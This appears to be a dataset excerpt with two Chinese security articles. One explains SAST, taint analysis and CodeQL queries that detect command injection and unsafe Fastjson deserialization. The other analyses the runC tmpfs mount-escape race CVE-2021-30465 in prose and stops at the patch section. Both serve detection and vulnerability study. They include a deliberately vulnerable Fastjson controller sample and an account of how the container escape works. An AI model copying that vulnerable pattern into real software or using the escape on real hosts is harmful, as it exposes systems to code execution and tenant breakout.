text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 背景
源代码安全检测是安全开发流程（SDL）中非常重要的一部分，在58集团的CI/CD流程中每天有数千次量级的构建及发布，白盒检测的自动化能力显得极为重要。企业级的白盒代码审计系统就不仅仅面临漏洞发现的需求，也需要适应企业CI/CD流程。由于58集团大部分业务使用自研的Java框架，本
**系列文章** 会重点介绍我们在Java白盒能力建设过程中的实践。
本文是58白盒扫描建设之路系列文章第二篇，主要介绍SAST的一些技术原理及应用、CodeQL的官方教程中文翻译及实践用法
# 技术原理
## 理解AST抽象语法树
在计算机科学中，抽象语法树（Abstract Syntax Tree，AST），或简称语法树（Syntax
tree），是源代码语法结构的一种抽象表示。它以树状的形式表现编程语言的语法结构，树上的每个节点都表示源代码中的一种结构。之所以说语法是“抽象”的，是因为这里的语法并不会表示出真实语法中出现的每个细节。比如，嵌套括号被隐含在树的结构中，并没有以节点的形式呈现；而类似于
if-condition-then 这样的条件跳转语句，可以使用带有三个分支的节点来表示。
一般的，在源代码的翻译和编译过程中，语法分析器创建出分析树，然后从分析树生成AST。一旦AST被创建出来，在后续的处理过程中，比如语义分析阶段，会添加一些信息。
抽象语法树是程序源代码结构的树状表示。程序源代码经过词法分析器（Lexer）得到各种不同种类的单词（Token），再由语法分析器（Parser）分析和语法检查后得到抽象语法树(AST)。抽象语法树的根节点表示整个程序，内部节点是抽象语法结构或者单词。AST的核心在于它能与输入源代码中的各个语法元素一一对应
如 以下的C语言代码如图所示
while (i<n){
sum + = A[i++];
}
## Java AST抽象语法树
### Spoon
Spoon是一个开放源代码库，用于分析，重写，转换，翻译Java源代码。它解析源文件以构建具有强大分析和转换API的精心设计的AST。它完全支持Java
11、12、13、14之前的现代Java版本。Spoon是Inria的一个官方开源项目，并且是OW2开源联盟的成员。
git地址：<https://github.com/INRIA/spoon>
### JAVA项目进行AST分析
可以通过自行编译Spoon源代码或者去<https://search.maven.org/artifact/fr.inria.gforge.spoon/spoon-core> maven仓库下载已经编译好的Spoon的jar包
通过以下命令进行GUI的语法树分析
java -cp /Users/fangzhao/IDEA/spoon/target/spoon-core-8.4.0-SNAPSHOT-jar-with-dependencies.jar spoon.Launcher -i /Users/fangzhao/IDEA/springboot-mybatis/src/main/java/cn/no7player/controller/HelloController.java --gui
对 Spring demo的 hello.java进行AST分析
package cn.no7player.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class HelloController {
@RequestMapping("/hello")
public String greeting(@RequestParam(value="name", required=false, defaultValue="World") String name, Model model) {
model.addAttribute("name", name);
return "hello";
}
}
分析结果
编程语言可以具有不同的元模型。抽象语法树（AST）或模型是元模型的实例。每个元模型（因此每个AST）或多或少都取决于手头的任务。例如，已针对Sun编译器（javac）的Java元模型进行了设计和优化，以将其编译为字节码，而Eclipse
IDE（JDT）的Java元模型的主要目的是在一个软件中支持软件开发的不同任务。集成方式（代码完成，编译错误的快速修复，调试等）。
与基于编译器的AST（例如来自javac）不同，Java的Spoon元模型被设计为普通Java开发人员易于理解，因此他们可以编写自己的程序分析和转换。
Spoon元模型是完整的，因为它包含派生可编译和可执行Java程序所需的所有信息（因此包含批注，泛型和方法体）。
Spoon元模型可以分为三个部分。
结构部分包含程序元素的声明，例如接口，类，变量，方法，注释和枚举声明。
代码部分包含可执行的Java代码，例如在方法主体中找到的代码。
参考部分对对程序元素的引用（例如，对类型的引用）进行建模。
如图所示，所有元素都继承自CtElement（javadoc），后者声明一个父元素，该父元素表示源文件中的包含关系。例如，方法节点的父级是类节点。所有名称均以“
CT”为前缀，表示“编译时”。
从Spoon 6.1.0开始，Spoon元模型包含CtModule元素表示Java 9中的模块，以及CtModuleDirective表示模块的不同指令。
提示：模型的根不再是未命名的包，而是未命名的模块。
## SAST静态扫描基本原理
## SAST原理
* 通过调用语言的编译器或者解释器把前端的语言代码（如JAVA，C/C++源代码）转换成中间代码(IR，intermediaterepresentation)，将其源代码之间的调用关系、执行环境、上下文等分析清楚。
* 语义分析：分析程序中不安全的函数，方法的使用的安全问题。
* 数据流分析：跟踪，记录并分析程序中的数据传递过程所产生的安全问题。
* 控制流分析：分析程序特定时间，状态下执行操作指令的安全问题。
* 配置分析：分析项目配置文件中的敏感信息和配置缺失的安全问题。
* 结构分析：分析程序上下文环境，结构中的安全问题。
* 结合2~6步的结果，匹配所有规则库中的漏洞特征，一旦发现漏洞就抓取出来。
* 最后形成包含详细漏洞信息的漏洞检测报告，包括漏洞的具体代码行数以及漏洞修复的建议。
#
# 简单理解污点分析技术
当我们通过AST技术拿到了源码的抽象语法树，并将其数据格式化存储之后，需要一套高效的算法对漏洞模型进行匹配，在漏洞模型的建立上我们需要引入污点分析技术来对漏洞进行定义
## 污点分析定义
污点分析可以抽象成一个三元组<sources,sinks,sanitizers>的形式,其中,source
即污点源,代表直接引入不受信任的数据或者机密数据到系统中;sink即污点汇聚点,代表直接产生安全敏感操作(违反数据完整性)或者泄露隐私数据到外界(违反数据保密性);sanitizer即无害处理,代表通过数据加密或者移除危害操作等手段使数据传播不再对软件系统的信息安全产生危害.污点分析就是分析程序中由污点源引入的数据是否能够不经无害处理,而直接传播到污点汇聚点.如果不能,说明系统是信息流安全的;否则,说明系统产生了隐私数据泄露或危险数据操作等安全问题.
简单的说：污点分析是默认不信任本地/外部输入，将本地及外部输入的控制/数据流过程进行分析，如果没有经过无害化处理，即认为存在漏洞的漏洞模型
## **污点分析的处理过程**
污点分析的处理过程可以分为三个阶段
* 识别污点源和汇聚点;
* 污点传播分析;
* 无害处理.
### 识别污点源
识别污点源和污点汇聚点是污点分析的前提.目前,在不同的应用程序中识别污点源和汇聚点的方法各不
相同.缺乏通用方法的原因一方面来自系统模型、编程语言之间的差异.另一方面,污点分析关注的安全漏洞类
型不同,也会导致对污点源和污点汇聚点的收集方法迥异.表 1 所示为在 Web 应用程序漏洞检测中的污点源示
例[29],它们是 Web 框架中关键对象的属性.
**现有的识别污点源和汇聚点的方法可以大致分成 3 类:**
* 使用启发式的策略进行标记,例如把来自程序外部输入的数据统称为“污点”数据,保守地认为这些数据有可能包含恶意的攻击数据(如 PHP Aspis);
* 根据具体应用程序调用的 API 或者重要的数据类型,手工标记源和汇聚点(如 DroidSafe);
* 使用统计或机器学习技术自动地识别和标记污点源及汇聚点.
### 污点传播分析
污点传播分析就是分析污点标记数据在程序中的传播途径.按照分析过程中关注的程序依赖关系的不同, 可以将污点传播分析分为显式流分析和隐式流分析.
#### **显示流分析**
污点传播分析中的显式流分析就是分析污点标记如何随程序中变量之间的数据依赖关系传播
以图 3 所 示的程序为例,变量 a 和 b 被预定义的污点源函数 source 标记为污点源.假设 a 和 b 被赋予的污点标记分别为taint_a 和
taint_b.由于第 5 行的变量 x 直接数据依赖于变量 a,第 6 行的变量 y 直接数据依赖于变量 b,显式流分析会分别将污点标记 taint_a
和 taint_b 传播给第 5 行的变量 x 和第 6 行的变量 y.又由于 x 和 y 分别可以到达第 7 行和第 8
行的污点汇聚点(用预定义的污点汇聚点函数 sink 标识),图 3
所示的代码存在信息泄漏的问题.我们将在后面具体介绍目前污点传播分析中显式流分析面临的主要挑战和解决方法.
#### **隐式流分析**
污点传播分析中的隐式流分析是分析污点标记如何随程序中变量之间的控制依赖关系传播,也就是分析污点标记如何从条件指令传播到其所控制的语句.
在图 4 所示的程序中,变量 X 是被污点标记的字符串类型变量,变量 Y 和变量 X 之间并 **没有直接或间接的数据依赖关系(显式流关系),但 X
上的污点标记可以经过控制依赖隐式地传播到 Y.**
具体来说,由第 4 行的循环条件控制的外层循环顺序地取出 X 中的每一个字符,转化成整型后赋给变量 x,再由第 7 行的循环条件控制的内层循环以累加的方式将
x 的值赋给 y,最后由外层循环将 y 逐一传给 Y.最终,第 12 行的 Y 值和 X
值相同,程序存在信息泄漏问题.但是,如果不进行隐式流污点传播分析,第 12 行 的变量 Y 将不会被赋予污点标记,程序的信息泄漏问题被掩盖.
隐式流污点传播一直以来都是一个重要的问题,和显式流一样,如果不被正确处理,会使污点分析的结果不精确.由于对隐式流污点传播处理不当导致本应被标记的变量没有被标记的问题称为欠污染(under-taint)问题.相反地,由于污点标记的数量过多而导致污点变量大量扩散的问题称为过污染(over-taint)问题.目前,针对隐式流问题的研究重点是尽量减少欠污染和过污染的情况.我们将在后面具体介绍现有技术是如何解决上述问题的.
### **无害处理**
污点数据在传播的过程中可能会经过无害处理模块,无害处理模块是指污点数据经过该模块的处理后,数据本身不再携带敏感信息或者针对该数据的操作不会再对系统产生危害.换言之,带污点标记的数据在经过无害处理模块后,污点标记可以被移除.
**正确地使用无害处理可以降低系统中污点标记的数量,提高污点分析的效率,并且避免由于污点扩散导致的分析结果不精确的问题.**
在应用过程中,为了防止敏感数据被泄露(保护保密性),通常会对敏感数据进行加密处理.此时
**,加密库函数应该被识别成无害处理模块**.这一方面是由于库函数中使用了大量的加密算法,导致攻击者很难有效地计算出密码的可能范围;另一方面是加密后的数据不再具有威胁性,继续传播污点标记没有意义.
此外,为了防止外界数据因为携带危险操作而对系统关键区域产生危害(保护完整性),通常会对输入的数据进行验证.此时, **输入验证(input
validation)模块应当被识别成无害处理模块.**
例如,为了防止代码注入漏洞,PHP 提供的 htmlentities 函数可以将特殊含义的 HTML
字符串转化成HTML实体(例如,将’<’转化成’<’).输入字符串经过上述转化后不会再携带可能产生危害的代码,可以安全地
发送给用户使用.除了语言自带的输入验证函数外, **一些系统还提供了额外的输入验证工具,比如ScriptGard,CSAS,XSS
Auditor,Bek.这些工具也应被识别成无害处理模块.**
综上,目前对污点源、污点汇聚点以及无害处理模块的识别通常根据系统或漏洞类型使用定制的方法.由于这些方法都比较直接,本文将不再进行更深入的探讨.下一节将重点介绍污点传播中的关键技术.
tips：
更多的污点分析技术可参考以下链接及其参考链接：[https://www.k0rz3n.com/2019/03/01/%E7%AE%80%E5%8D%95%E7%90%86%E8%A7%A3%E6%B1%A1%E7%82%B9%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF/](https://www.k0rz3n.com/2019/03/01/简单理解污点分析技术/)
# 理解CodeQL漏洞分析过程
## 整体流程
* 通过适配各个语言的AST解析器，并将代码的AST解析结果按照预设好的数据模型将代码AST数据及其依赖关系存储到CodeDB里
* 通过QL语言定义污点追踪漏洞模型
* 执行QL时通过高效的搜索算法对CodeDB的AST元数据进行高效查询，从而在代码中搜索出漏洞结果
## QL中的污点分析模型
我们以命令执行的QL作为例子来看在Codeql Rules里的污点分析是如何使用的
首先，Codeql也是使用<sources,sinks,sanitizers>三元组对污点分析过程进行三个阶段的定义
文件目录：/java/ql/src/Security/CWE/CWE-078/ExecTainted.ql
/**
* @name Uncontrolled command line
* @description Using externally controlled strings in a command line is vulnerable to malicious
* changes in the strings.
* @kind path-problem
* @problem.severity error
* @precision high
* @id java/command-line-injection
* @tags security
* external/cwe/cwe-078
* external/cwe/cwe-088
*/
import java /** 导入codeql的java依赖 **/
import semmle.code.java.dataflow.FlowSources /** 导入java的Sources定义模块 **/
import semmle.code.java.security.ExternalProcess /** 导入定义java中执行系统命令模块 **/
import ExecCommon /** 导入对java中命令执行的 sources、sink、sanitizer定义模块 **/
import DataFlow::PathGraph /** 导入java的数据流控制模块 **/
/** 从DataFlow里导入 source、 sink、并且定义命令执行的参数为execArg **/
from DataFlow::PathNode source, DataFlow::PathNode sink, ArgumentToExec execArg
/** source、 sink、execArg 满足 execTainted的参数定义 **/
where execTainted(source, sink, execArg)
/** 搜索满足execTainted谓词定义的参数、污染源及sink点并输出（可以理解成取交集的过程） **/
select execArg, source, sink, "$@ flows to here and is used in a command.", source.getNode(),
"User-provided value"
我们再来看一下 ExecCommon 里是如何定义满足条件的 source、sink 及 sanitizer
文件目录：/java/ql/src/Security/CWE/CWE-078/ExecCommon.qll
/** 导入各种所依赖的配置 **/
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.ExternalProcess
import semmle.code.java.security.CommandArguments
/** 定义一个私有的Class作为远程命令执行的dataflow Config配置，并且这个Config配置继承自基础的Configuration **/
private class RemoteUserInputToArgumentToExecFlowConfig extends TaintTracking::Configuration {
RemoteUserInputToArgumentToExecFlowConfig() {
/** 定义该Config的别名为ExecCommon **/
this = "ExecCommon::RemoteUserInputToArgumentToExecFlowConfig"
}
/** 重写对Source的定义，满足Source是远程数据输入，instanceof语句为满足后续谓词条件，依旧是取交集操作 **/
override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }
/** 重写对Sink的定义，sink.asExpr为sink的表达式需要满足于ArgumentToExec的谓词定义 **/
override predicate isSink(DataFlow::Node sink) { sink.asExpr() instanceof ArgumentToExec }
/** 重写对Sanitizer的定义，节点的数据类型满足PrimitiveType，BoxedType 或者是安全的命令调用方式，便认为是经过了净化**/
override predicate isSanitizer(DataFlow::Node node) {
node.getType() instanceof PrimitiveType
or
node.getType() instanceof BoxedType
or
isSafeCommandArgument(node.asExpr())
}
}
/**
* Implementation of `ExecTainted.ql`. It is extracted to a QLL
* so that it can be excluded from `ExecUnescaped.ql` to avoid
* reporting overlapping results.
*/
/** 定义谓词 execTainted满足于RemoteUserInputToArgumentToExecFlowConfig条件，并且存在Source到Sink点的数据流 **/
predicate execTainted(DataFlow::PathNode source, DataFlow::PathNode sink, ArgumentToExec execArg) {
exists(RemoteUserInputToArgumentToExecFlowConfig conf |
conf.hasFlowPath(source, sink) and sink.getNode() = DataFlow::exprNode(execArg)
)
}
我们可以看到CodeQL
使用结构化的查询，通过分别定义三元组<sources,sinks,sanitizers>，对满足其定义的所有AST元数据进行交集，并判断source到sink之间是否存在可达路径，如果存在可达路径即判断存在相关漏洞
# 在实际应用场景里的QL使用案例
## 如何通过QL获取Spring项目的 Web Path
### 规则分析
新建规则路径：java/ql/src/Security/CUSTOM/query/spring/SpringPath.ql
/**
* @name Spring controller bind path
* @description list all Spring controller path in method bind and class bind.
* @kind path-list
* @problem.severity information
* @precision Null
* @id java/Spring-path
* @tags Information-path
*/
import java
import semmle.code.java.frameworks.spring.SpringCustomController
import semmle.code.java.dataflow.FlowSources
from SpringWebApiBindMethod m
select
m as controllerMethod, m.getLocation() as location,
m.getBindPath() as methodBindPath,
m.getControllerClassBindPath() as classBindPath, "Spring bindPath"
扫描结果，classBindPath + methodBindPath为Spring的Web path
Spring Web Path的模块
：java/ql/src/semmle/code/java/frameworks/spring/SpringCustomController.qll
import java
import semmle.code.java.Maps
import SpringController
/**
* Sping框架web请求绑定方法
*/
class SpringWebApiBindMethod extends SpringMvcControllerMethod {
SpringWebApiBindMethod() {
getAnAnnotation() instanceof SpringRequsetMappingCustomAnnotation
or
getAnAnnotation() instanceof SpringRestMappingCustomAnnotation
}
/**
* 获取方法绑定的路径RequsteMapping
*/
Expr getBindPath(){
result = getAnAnnotation().(SpringRequsetMappingCustomAnnotation).getValue("value")
or
result = getAnAnnotation().(SpringRestMappingCustomAnnotation).getValue("value")
}
/**
* 获取mvc控制器类绑定的路径，不存在返回空字符串
*/
string getControllerClassBindPath(){
if this.isSpringMvcControllerBindPath() then
result = this.getDeclaringType().getAnAnnotation().(SpringRequsetMappingCustomAnnotation).getValue("value").toString()
else result = ""
}
/**
* 该方法的mvc控制器是否绑定了路径前缀
*/
predicate isSpringMvcControllerBindPath() {
exists(SpringRequsetMappingCustomAnnotation a| this.getDeclaringType().getAnAnnotation() = a
and this.getDeclaringType().getAnAnnotation().(SpringRequsetMappingCustomAnnotation).getValue("value").toString().length()>0 )
}
}
/**
* 该方法的声明类型的直接类型或者间接类型满足Spring Controller的谓词定义
*/
class SpringMvcControllerMethod extends Method {
SpringMvcControllerMethod() {
getDeclaringType().getAnAncestor() instanceof SpringController
}
}
/**
* 该方法的声明类型名称包含Spring Request Mapping的注解
*/
class SpringRequsetMappingCustomAnnotation extends Annotation {
SpringRequsetMappingCustomAnnotation() {
getType().getAnAncestor().hasQualifiedName("org.springframework.web.bind.annotation", "RequestMapping")
or
getType().getAnAncestor().hasQualifiedName("org.springframework.web.bind.annotation", "RestController")
}
}
/**
* 该方法的声明类型名称包含Spring Rest Mapping的注解
*/
class SpringRestMappingCustomAnnotation extends Annotation {
SpringRestMappingCustomAnnotation() {
getType().getAnAncestor().hasQualifiedName("org.springframework.web.bind.annotation", "GetMapping")
or
getType().getAnAncestor().hasQualifiedName("org.springframework.web.bind.annotation", "PostMapping")
or
getType().getAnAncestor().hasQualifiedName("org.springframework.web.bind.annotation", "PutMapping")
or
getType().getAnAncestor().hasQualifiedName("org.springframework.web.bind.annotation", "DeleteMapping")
or
getType().getAnAncestor().hasQualifiedName("org.springframework.web.bind.annotation", "PatchMapping")
}
}
通过对Spring框架对Web
Controller的使用方法及注解的使用方法，定义了SpringWebApiBindMethod类，并通过getControllerClassBindPath()、getBindPath()
获取方法绑定的路径RequsteMapping及该方法的mvc控制器是否绑定了路径前缀
再新建一个FlowSourceCustom.qll
/**
* 输入源和数据流定义
*/
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.frameworks.spring.SpringComponentScan
import semmle.code.java.frameworks.spring.SpringCustomController
/**
* Spring框架Servlet Input参数输入源
*/
class SpringCustomServletInputParameterSource extends RemoteFlowSource {
SpringCustomServletInputParameterSource() {
this.asParameter() = any(SpringRequestMappingParameter srmp | srmp.isTaintedInput())
}
override string getSourceType() { result = "Spring servlet input parameter" }
}
/**
* Spring框架Multipart FileS参数输入源
*/
class SpringCustomMultipartFileSource extends RemoteFlowSource {
SpringCustomMultipartFileSource() {
exists(MethodAccess ma, Method m |
ma = this.asExpr() and
m = ma.getMethod() and
m.getDeclaringType()
.getASourceSupertype*()
.hasQualifiedName("org.springframework.web.multipart", "MultipartFile") and
m.getName().matches("get%")
)
}
override string getSourceType() { result = "Spring MultipartFile getter" }
}
/**
* Spring框架Multipart request参数输入源
*/
class SpringCustomMultipartRequestSource extends RemoteFlowSource {
SpringCustomMultipartRequestSource() {
exists(MethodAccess ma, Method m |
ma = this.asExpr() and
m = ma.getMethod() and
m.getDeclaringType()
.getASourceSupertype*()
.hasQualifiedName("org.springframework.web.multipart", "MultipartRequest") and
m.getName().matches("get%")
)
}
override string getSourceType() { result = "Spring MultipartRequest getter" }
}
最后将FlowSourceCustom.qll import至
/java/ql/src/semmle/code/java/dataflow/FlowSources.qll就可以使用SpringPath.ql进行Spring的path查询
我们来看一个实际的例子fastjson.java文件:
package org.joychou.controller;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping("/fastjson")
public class Fastjson {
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式，post数据会被url编码
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
return ob.get("name").toString();
} catch (Exception e) {
return e.toString();
}
}
controllerMethod | controllerMethod.getLocation | methodBindPath |
classBindPath | Type
---|---|---|---|---
Deserialize | Fastjson:19[19-29] | "/deserialize" | "/fastjson" | Spring
bindPath
QL对该文件扫描结果如上表
我们可以看到 /fastjson/deserialize 即是该方法的Web Path
## 结合SCA判断fastjson是否可利用
### Fastjson不安全使用
Fastjson不安全的使用需要满足以下三个条件：
1、项目中导入了不安全的Fastjson版本
2、项目中使用了Fastsjon不安全的反序列化方法去反序列化外部传入的Json数据
3、项目中存在利用Fastjson反序列化利用方法的反序列化调用链
1、3
通过SCA的能力去解决，2可以通过QL分析源代码拿到FastJson在项目中的使用情况，下面我们来分析一下如何使用QL查询Fastjson是否在在代码中被安全使用
java-sec-code里的fastjson反序列化demo
package org.joychou.controller;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping("/fastjson")
public class Fastjson {
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式，post数据会被url编码
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
return ob.get("name").toString();
} catch (Exception e) {
return e.toString();
}
}
我们在来看看QL里的Fastjson查询
/**
* @name FastJson deserializing of user-controlled data
* @description FastJson deserializing user-controlled data may allow attackers to
* execute arbitrary code.
* @kind path-problem
* @problem.severity error
* @precision high
* @id java/unsafe-fastjson-deserialization
* @tags security
* external/cwe/cwe-502/Fastjson deserialization
*/
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.FastJson
import DataFlow::PathGraph
class UnsafeFastJsonSinkConfig extends TaintTracking::Configuration {
UnsafeFastJsonSinkConfig() { this = "UnsafeFastJsonConfig" }
override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }
override predicate isSink(DataFlow::Node sink) { sink instanceof UnSafeFastJsonSink }
}
from DataFlow::PathNode source, DataFlow::PathNode sink, UnsafeFastJsonSinkConfig conf
where conf.hasFlowPath(source, sink)
select sink.getNode().(UnSafeFastJsonSink).getMethodAccess(), source, sink,
"Unsafe fastjson deserialization of $@.", source.getNode(), "user input"
首先我们定义了一个继承Configuration的 UnsafeFastJsonSinkConfig类，其需要满足于
dataFlow里的source满足RemoteFlowSource（远程用户输入）的谓词定义、sink点需要满足UnSafeFastJsonSink（不安全的Fastjson使用）的谓词定义
通过搜索where conf.hasFlowPath(source, sink)
满足UnsafeFastJsonSinkConfig条件的sources和sink并且source和sink之间是可达的，那我们就认为该处存在fastjson的不安全使用
我们再来看看Fastjson.qll是如何定义UnSafeFastJsonSink
import semmle.code.java.dataflow.DataFlow
import semmle.code.java.dataflow.DataFlow2
import semmle.code.java.dataflow.DataFlow3
import semmle.code.java.frameworks.FastJson
predicate unsafeFastjson(MethodAccess ma, Expr sink) {
exists(Method m | m = ma.getMethod() |
ma.getMethod() instanceof FastJsonParseMethod and
not fastJsonLooksSafe() and
sink = ma.getArgument(0)
)
}
class UnSafeFastJsonSink extends DataFlow::ExprNode {
UnSafeFastJsonSink() { unsafeFastjson(_, this.getExpr()) }
MethodAccess getMethodAccess() { unsafeFastjson(result, this.getExpr()) }
}
谓词unsafeFastjson需要满足于存在fastjson的调用方法并且未配置safety配置的方法
我们再来看看 FastJsonParseMethod、和fastJsonLooksSafe是如何编写的
/**
* The class `com.alibaba.fastjson.JSON`.
*/
class FastJson extends RefType {
FastJson() { this.hasQualifiedName("com.alibaba.fastjson", "JSON") }
}
/**
* A FastJson parse method. This is either `JSON.parse` or `JSON.parseObject`.
*/
class FastJsonParseMethod extends Method {
FastJsonParseMethod() {
this.getDeclaringType() instanceof FastJson and
this.hasName(["parse", "parseObject"])
}
}
/**
* A call to `ParserConfig.setSafeMode`.
*/
class FastJsonSetSafeMode extends MethodAccess {
FastJsonSetSafeMode() {
exists(Method m |
this.getMethod() = m and
m.hasName("setSafeMode") and
m.getDeclaringType().hasQualifiedName("com.alibaba.fastjson.parser", "ParserConfig")
)
}
可以看到我们将JSON.parse和JSON.parseObject定义为危险函数
而使用setSafeMode配置的，我们认为是安全的
通过查询我们可以成功搜索出代码里的不安全的fastjson使用方式
结合SCA我们可以完成以上三个条件对fastjson安全风险的发现
# 总结
在理解了SAST的一些技术原理以及CodeQL一些实际使用的案例，本次分享附件包含Codeql的官方教程基础语法以及Java模块的中文教程，可自行向运营小姐姐获取。后面我们将分享58SAST在工程化选型以及设计的一些经验。
# 资源
关注58安全应急响应中心公众号，后台发送“58白盒系列2”，获取Codeql教程下载链接 | 社区文章 |
# RunC TOCTOU逃逸CVE-2021-30465分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
国外安全研究员champtar[1]在日常使用中发现Kubernetes
tmpfs挂载存在逃逸现象，研究后发现runC存在条件竞争漏洞，可以导致挂载逃逸[2]。
关于条件竞争TOCTOU和一些linux文件基础知识可见这篇文章《初探文件路径条件竞争 – TOCTOU&CVE-2019-18276》[3]。
CVE-2021-30465在Redteam的研究者视角中比较鸡肋，因为需要K8S批量创建POD的权限。但在产品安全的视角恰恰相反，针对Caas（Container
as a service）类产品，用户/租户拥有批量创建POD权限，利用挂载逃逸可打破租户间隔离，同时读取Host层面某些敏感数据，危害性极大。
## RunC简介
为了让容器生态更加开放，Linux基金会发起OCI（Open Container
Initiative），目标是标准化容器格式和运行时[4]，其中一个重要产物就是CRI（Container Runtime
Interface），抽象了容器运行时接口，使得上层调控容器更加便捷。containerd和runC都是其中代表产物，从dockerd中再剥离出containerd[5]，向上提供rpc接口，再通过containerd去管理runC。containerd在初期也是直接对runC进行管理，但为了解决containerd进行升级等操作时会造成不可用的问题，containerd再拆出containerd-shim，独立对接runC。containerd从Runtime、Distribution、Bundle维度提供容器全生命周期的管理能力[6]，runC专注于Runtime。
## 容器设备挂载相关基础知识
### Namespace
Namespace是linux控制系统资源的抽象层，将不同的进程放置入不同的Namespace将获得不同的资源视角，该项技术是容器实现的基础[7]。
linux提供8种不同的Namespace以提供不同维度的隔离能力，分别是：
1\. Cgroup
2\. IPC
3\. Network
4\. Mount
5\. PID
6\. Time
7\. User
8\. UTS
其中，Cgroup和Mount Namespace是最常接触的，在容器挂载相关能力均通过Mount
Namespace进行实现。Namespace的使用主要通过clone和unshare
两个方法实现，其中clone创建新进程时，标志位为CLONE_NEW*将会创建新的Namespace并将子进程放入该Namespace[8]，unshare方法将调用进程放入不同的Namespace中[9]。
### Mount Namespace
Linux中有一个很核心的思想，那就是一切皆文件。在该思想下，Linux通过挂载对不同设备中的文件进行管理。在Linux中，每一个空目录/文件都可以成为挂载点并设置相应的属性。在Mount
Namespace下，处在当前Namespace中的进程只对当前Namespace中的挂载点可见，通过
/proc/[pid]/mounts 、/proc/[pid]/mountinfo和/proc/[pid]/mountstats
提供不同维度的数据。每个task（在Linux中，不论是进程还是线程，在内核的视角都是一个task）都会指向一个Namesapce（存放在task→nsproxy中）[10]。
struct nsproxy {
atomic_t count;
struct uts_namespace *uts_ns;
struct ipc_namespace *ipc_ns;
struct mnt_namespace *mnt_ns;
struct pid_namespace *pid_ns;
struct net *net_ns;
};
但Mount Namespace的引入也带来了新的问题，由于Mount
Namespace中的隔离性，当用户需要挂载一个新的磁盘使所有Namespace可见时，就需要在所有的Namespace中都进行一次挂载，很麻烦，于是2.6.15中引入了共享子树（Shared
Subrees）。通过在不同挂载点设置不同的属性，使挂载事件在不同的维度（peer
group[11]）进行传播。目前支持以下四种传播类型，其中MS_SHARED和MS_SLAVE比较常见。
1\. MS_SHARED
2\. MS_PRIVATE
3\. MS_SLAVE
4\. MS_UNBINDABLE
在MS_SLAVE传播属性的挂载点下，父挂载点（Master）的传播事件可以接收，但子挂载点下（Slave）的挂载事件不再传播，容器的Rootfs挂载即为该种类型，也就是说在容器中挂载的挂载动作是不影响宿主机的，保证了容器隔离。
## 漏洞分析
### RunC漏洞挂载逻辑分析
checkout到修复commit(0ca91f44f1664da834bc61115a849b56d22f595f)[12]的上一个版本commitc(01a56034f5ab0c1aa314377a499fe60a9c26b36)。
### 整体流程如下
RunC通过命令runc create + runc start 或runc run启动一个容器，runc
create主要分为两部分，一部分是准备容器进程的启动参数，与真正实施容器runc
init进程进行交互，保证容器初始化顺利进行；另外一部分是执行克隆出的runc
init进程，加入各种namespace并初始化容器进程的执行环境。本文以第二部分为切入点进行分析，从
libcontainer/standard_init_linux.go的linuxStandardInit.Init()开始，在其中调用prepareRootfs，准备初始化rootfs并进行挂载。
在prepareRootfs 中，调用 prepareRoot 设置初始挂载点，并设置挂载标志位为 unix.MS_SLAVE | unix.MS_REC
，其后使用 mountToRootfs 对container.json中配置的挂载进行操作。
prepareRoot 中设置容器根目录挂载标志位为unix.MS_SLAVE | unix.MS_REC
，容器在初始的时候会通过镜像中的容器标准包（bundle）挂载根文件系统（BaseFS），在这里runC默认将挂载点（Propagation
Type）设置为slave。由于当前已经处于容器的mount namespace中，所以当前\
为容器根路径。rootfsParentMountPrivate 函数确保上一层的挂载点是PRIVATE ，应该是出于防止逃逸的考虑。
在mountToRootfs 中，针对不同的设备类型存在不同的处理逻辑。
在tmpfs的处理逻辑中，configs.EXT_COPYUP默认为1。
首先准备/tmp 目录，在prepareTmp 函数中将这个挂载点设置为 MS_PRIVATE ，再创建runctmpdir 路径，将目标路径复制到
tmpDir 中，最后将dest 路径挂载到tmpDir 中，且Propagation Type设置为MS_MOVE 。对于MS_MOVE
，官方说明[13]如下：
If mountflags contains the flag MS_MOVE (available since Linux 2.4.18), then
move a subtree: source specifies an existing mount point and target specifies
the new location to which that mount point is to be relocated. The move is
atomic: at no point is the subtree unmounted.
当此时的dest 为一个symlink时，subtree将覆盖已存在挂载点。所以此处存在TOCTOU（Time-of-check to time-of-use），在SecureJoin 函数执行时，dest 为正常路径，当挂在发生时，dest 为symlink，导致逃逸发生。
### 结论
RunC为了防止在路径组合中的路径穿越漏洞，引入了filepath-securejoin[14]作为符号链接过滤函数，但r在挂载时并未校验挂载的实际目的路径，从而导致存在TOCTOU条件竞争漏洞。
从securejoin的Readme中也可看出这一点。
之所以能够成功逃逸的另一原因在于tmpfs[15]中为了实现copy-up功能[16]使用MS_MOVE[17]作为挂载标志，根据runC作者的描述只有在tmpfs情况才能够逃逸[18]。
## 补丁分析
